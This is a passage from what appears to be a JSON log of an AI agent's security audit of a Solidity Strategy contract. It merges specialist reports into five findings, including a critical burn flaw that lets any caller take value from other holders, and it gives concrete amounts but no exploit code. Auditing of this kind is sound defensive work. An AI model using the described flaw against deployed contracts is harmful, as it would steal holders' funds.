Pool to receive all assets from a Strategy during a roll, and Strategy implements that hook as mint(address,address,uint256,uint256) (line 106), with a constructor grant commented 'Enable the mint -> init hook' (line 58). The roll path of this contract, invest, does not call mint on its target: it calls pool_.init(address(this)) and decodes (uint256,uint256,uint256). Strategy.init (line 119) returns a single uint256 and StrategyMigrator has no init, so when the target of invest is a Strategy the 32 bytes returned fail ABI decoding and invest reverts. The 4-argument mint hook is therefore reachable only from the older strategy version that calls pool.mint, holders of this version cannot be rolled into a successor of the same shape through invest, and the grant at line 58 is dead: mint calls the internal _init, and the contract never calls its own external init.\n\nNo funds are at risk (invest reverts as a whole and holders can still exit with burnDivested), and this is outside the mint/burn arithmetic the audit focuses on, so it is rated info (the specialist rated it low). Fix without changing the pool-facing design: give the migrator hook the shape invest calls, an init(address) returning (baseIn, 0, minted), or document that this version cannot be the source of a migration and drop the unused grant.","line":165,"path":"src/Strategy.sol","reproduction":"Mock base and fyToken. Deploy Strategy A and Strategy B on the same fyToken. B.grantRole(Strategy.init.selector, A); the test contract holds A's init and invest roles. Send 100e18 base to A, call A.init(holder), then A.invest(IPool(address(B))). Expected (per StrategyMigrator's description): B receives the 100e18 base and mints 100e18 B tokens to A. Actual: invest reverts while decoding B.init's one-word return as three words. Calling B.init(address(A)) directly from A's address with 100e18 base in B succeeds and returns 100e18, so only the return shape stands in the way.","severity":"info","snippet":"(,, poolTokensObtained) = pool_.init(address(this));","title":"invest decodes three return words from init, so a Strategy can never be invested into another Strategy; the self-grant of init in the constructor has no effect"}],"hash":"fb7d7107c4ccfbbf98eac114655a7ad96a46dbcf2f7ef8943ae8b8806725678d","nodeId":"4e031291-77b6-4d19-ab16-5dc3d1ed1314","outcome":"completed","summary":"The review is written to `.imd-findings.json`: the specialists' 13 reports merge into 5 findings, each reproduced against the code. No tracked file was changed, and the scratch tests and build output are removed.\n\n| # | Severity | Location | Finding | Merged from | Proof |\n|---|---|---|---|---|---|\n| 1 | critical | `src/Strategy.sol:363` | `burn` pays from the live pool-token balance instead of `poolCached` | 5 reports | yes |\n| 2 | medium | `src/Strategy.sol:384` | `mintDivested`/`mint` keep a deposit that rounds to zero strategy tokens | 2 reports | yes |\n| 3 | low | `src/Strategy.sol:341` | once the whole supply is burnt, mints divide by zero or silently mint nothing | 4 reports | yes |\n| 4 | info | `src/Strategy.sol:381` | rewards token set to base lets the next caller mint against rewards funding | 1 report | no |\n| 5 | info | `src/Strategy.sol:165` | `invest` cannot target another Strategy; the constructor's self-grant of `init` is unused | 1 report | no |\n\n- **Finding 1:** a caller who brings 300e18 pool tokens leaves with 398.02e18, and the victim's 100e18 strategy tokens then redeem for 1.98e18. A 1 wei transfer also makes a full exit revert; the specialist's separate underflow report is folded in here, since it is the same line and the same one-line fix.\n- **Finding 2:** this needs one account holding a dust supply, so it cannot be forced on a strategy with other real holders. In that state a later 1000e18 deposit mints 0 and goes to the dust holder.\n- **Finding 3:** exiting holders lose nothing, but the instance is dead afterwards. In the variant where stray pool tokens are divested, a later deposit is taken with nothing minted.\n- **Findings 4 and 5:** I rated both info rather than the specialists' low. Finding 4 is an admin misconfiguration, and finding 5 is a functional gap with no funds at risk.\n\nWhat I changed from the specialists' reports:\n- **Severity of finding 1:** the four reports that carried a rating said critical, high, high and medium; I kept critical because any caller can do it in one transaction with recoverable capital.\n- **One claim dropped:** a specialist said a pending depositor is under-credited after someone else's burn. That did not reproduce: the depositor's later mint is credited in full, and the loss falls on the remaining holders.\n- **One claim not run:** the second half of finding 4 (a later `claim()` making `mintDivested` underflow) follows from the code but was not executed, and the finding says so.\n\nHow it was checked:\n- All four specialist proofs were run and fail on the current code for the reasons given.\n- My three proofs fail on the current code, and each passes on a scratch copy with only its own fix applied.\n- Everything ran against mock base, fyToken and pool contracts, not the real YieldSpace pool or a fork.\n- The machine had no solc 0.8.15, so I downloaded the official binary to a temp directory; nothing was installed into the repository.\n\nCoverage: I reproduced and judged the specialists' reports on the mint/burn paths of `Strategy.sol`. I did not do a full independent pass over `eject`, `buyFYToken`, `restart` or the rewards accounting beyond what those reports touched.","treeHash":null,"usage":{"cachedInputTokens":844184,"cost":{"source":"runtime","usdMicros":3298218},"inputTokens":25,"model":"claude-fable-5-2","outputTokens":40842,"runtime":"claude","turns":14,"wallClockMs":409134}}],"verification":[]}